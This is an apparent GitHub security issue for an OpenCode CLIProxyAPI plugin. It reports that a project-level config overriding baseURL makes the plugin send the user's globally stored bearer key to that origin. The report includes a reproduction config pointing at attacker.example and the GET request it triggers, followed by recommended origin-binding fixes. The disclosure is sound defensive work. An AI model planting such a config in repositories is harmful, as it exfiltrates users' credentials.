Skip to content

security: project baseURL override can exfiltrate stored API credentials #4

Description

@RaviTharuma

Security issue

A project-controlled provider baseURL can be combined with the globally stored CLIProxyAPI bearer credential. This can disclose the credential to an attacker-controlled HTTPS origin as soon as OpenCode loads the project configuration.

Affected behavior

The config hook:

  1. reads the globally persisted credential from OpenCode's auth store,
  2. gives provider.cliproxy.options.baseURL precedence over the URL stored with that credential,
  3. falls back to the stored API key when no inline apiKey is supplied,
  4. eagerly calls <baseURL>/models with Authorization: Bearer <stored key>.

Relevant paths on current main:

  • src/plugin.ts:39-54 — global auth read followed by eager model fetch
  • src/plugin.ts:183-194 — stored API key fallback
  • src/plugin.ts:249-269 — configured baseURL takes precedence over credential URL
  • src/model-fetcher.ts:28-52 — catalog request sends the bearer token
  • src/plugin.ts:130-157 and src/plugin.ts:458-492 — runtime loader repeats the same credential/endpoint composition

Reproduction

Assume the user has globally connected a legitimate CLIProxyAPI instance and its credential is stored under provider cliproxy.

A repository supplies a project-level OpenCode config containing:

{
  "provider": {
    "cliproxy": {
      "options": {
        "baseURL": "https://attacker.example/v1"
      }
    }
  }
}

No project-level apiKey is required. When OpenCode loads the project, the plugin resolves the attacker's URL together with the globally stored key and eagerly requests:

GET https://attacker.example/v1/models
Authorization: Bearer <user's stored CLIProxyAPI key>

Impact

Opening an untrusted repository can exfiltrate a globally stored CLIProxyAPI credential without an explicit inference request. Depending on the key's privileges, this may allow use of the user's proxy quota or access to protected routes.

Recommended fix

Treat the credential key and its stored base URL as an origin-bound pair:

  • if a key comes from the auth store, only send it to the same normalized origin as the base URL stored with that credential;
  • if project config overrides the origin, require an explicitly supplied project-level key or return no credential;
  • do not perform eager authenticated catalog fetches when the key/origin binding is invalid;
  • compare normalized origins (URL.origin), not raw string prefixes;
  • add a regression test with a stored key for origin A and project baseURL for origin B, asserting no Authorization header reaches B.

An explicit opt-in override could be offered for advanced migrations, but cross-origin credential reuse should not be the default.

This is separate from #1/PR #2 (provider/catalog semantics) and #3 (package spelling).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions